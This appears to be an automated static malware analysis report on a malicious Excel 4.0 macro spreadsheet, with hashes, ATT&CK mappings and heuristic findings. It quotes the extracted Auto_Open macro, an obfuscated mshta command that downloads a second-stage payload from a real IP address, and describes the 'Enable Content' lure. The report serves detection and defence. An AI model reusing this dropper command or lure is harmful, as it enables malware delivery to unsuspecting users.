Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 2f9dc9c44ec5c248…

MALICIOUS

Office (OLE) / .XLS

61.1 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 3e8142e24f51fe068008092a5ba10388 SHA-1: 49ad7641a135eb8b222957fff4b2f64e608df574 SHA-256: 2f9dc9c44ec5c248067843135aa0d8d49099d6578d645f64d3489ed873b65cf4
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The document body contains a lure to "Enable Editing" and "Enable Content" to view the protected content. The extracted XLM macro defines a string "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html" which is then executed. This command downloads a second-stage payload from the specified URL. The obfuscation in the command string is minimal and reconstructs to a clear download command.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1391 bytes